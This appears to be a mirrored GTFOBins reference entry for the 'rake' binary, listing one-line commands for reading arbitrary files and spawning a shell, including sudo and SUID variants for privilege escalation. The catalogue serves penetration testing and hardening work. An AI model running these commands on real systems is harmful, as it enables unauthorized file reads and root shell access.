mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
0b196471f8
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
15 lines
352 B
Markdown
15 lines
352 B
Markdown
---
|
|
functions:
|
|
file-read:
|
|
- description: The file is actually parsed and the first wrong line is returned in an error message.
|
|
code: |
|
|
LFILE=file-to-read
|
|
rake -f $LFILE
|
|
shell:
|
|
- code: rake -p '`/bin/sh 1>&0`'
|
|
sudo:
|
|
- code: sudo rake -p '`/bin/sh 1>&0`'
|
|
limited-suid:
|
|
- code: ./rake -p '`/bin/sh 1>&0`'
|
|
---
|